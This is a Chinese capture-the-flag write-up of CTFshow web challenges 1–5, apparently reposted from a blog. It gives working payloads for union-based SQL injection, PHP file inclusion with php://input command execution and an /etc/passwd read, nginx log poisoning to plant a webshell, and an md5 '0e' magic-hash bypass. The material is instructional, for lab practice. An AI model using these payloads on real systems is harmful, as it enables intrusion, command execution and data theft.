CTFshow [web1-5]

Posted 热绪

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow [web1-5]相关的知识,希望对你有一定的参考价值。

web1

base64解码,末尾加=

 

web2

sql注入题型

使用万能密码:

username=1'or'1'='1&password=1'or'1'='1

没什么用,我们查询字段。

username=1&password=1'union select 1,2,3,4#

没回显,我们使用:

username=1&password=1'union select 1,2,3#

我们由此知道回显是2,好办了,我们进行查数据库。

username=1&password=1'union select 1,database(),3#

知道数据库是web2;

我们查表名:

username=admin&password=123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

两个表,flag,user,我们查flag表中字段名;

username=admin&password=123' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

我们查字段:

username=admin&password=123' union select 1,flag,3 from flag#

得到flag。

 

web3

打开题目我们发现下图,看起来像是文件包含,url是参数。

我们试试伪协议:

http://67a60ab5-5ad4-4e2f-834e-a6ace7f2bad2.challenge.ctf.show:8080/?url=file:///etc/passwd

出结果了,可以看出本题是php伪协议+文件包含+命令执行的题目。

我们输入

http://67a60ab5-5ad4-4e2f-834e-a6ace7f2bad2.challenge.ctf.show:8080/?url=php://input

并且在burp里面抓包,发送到repeater模块,在下方输入

<?php system("ls"); ?>

点击Go

发现了两个文件index.php 和 ctf_go_go_go

输入

<?php system("cat ctf_go_go_go"); ?>

得到flag。

我们学到了 php://input + BurpSuite 提交命令的方法。

 

web4

和web3几乎一样,但是我尝试了各种方法还是不行,于是查看资料发现使用日志注入,我们试试。

输入下式查看日志:

http://f0b148b0-530f-4e8b-9550-4d30491efc21.challenge.ctf.show:8080/?url=/var/log/nginx/access.log

日志如下:

可以看到是可以看到日志的,我们抓包。

我们在参数中输入一句话木马,让其记入日志当中。

点击Go

然后使用蚂蚁连接:http://14c96038-fde5-4947-8019-73aca0aa1620.challenge.ctf.show:8080/?url=/var/log/nginx/access.log   密码:key

 拿到flag。

可以发现:使用web3的文件包含不可取,使用日志注入,然后使用webshell工具连接拿到shell。

web5

代码审计题型。

where is flag?
<?php
error_reporting(0);
//关闭错误报告
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
        //如果v1和v2都不为空
            if(!ctype_alpha($v1)){
                //这里判断v1是否全是字符,若不是则输出v1 error
                die("v1 error");
            }
            if(!is_numeric($v2)){
                //这里判断v2是否全是英文,若不是则输出v2 error
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                //v1和v2的md5值需要相等。
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

</body>
</html>

代码审计完成,我们发现需要同时提交两个get型的参数,v1和v2,且v1全是字符,v2全是数字,而且v1和v2的md5值还要相等。

这里我们知道;md5碰撞,只要是0e开头的MD5,默认是相等的。

payload:

http://1459d600-834d-4651-8210-aa6985ec50e7.challenge.ctf.show:8080/?v1=QNKCDZO&v2=240610708

得到flag。

 

以上是关于CTFshow [web1-5]的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow-WEB-web12( 利用代码执行漏洞读取敏感文件)

ctfshow web入门 信息搜集

ctfshow 做题 萌新 模块

ctfshow 做题 萌新 模块

[代码审计][备份泄露][时间盲注]CTFSHOW----WEB15(不会做以后补充)

ctfshow ThinkPHP篇573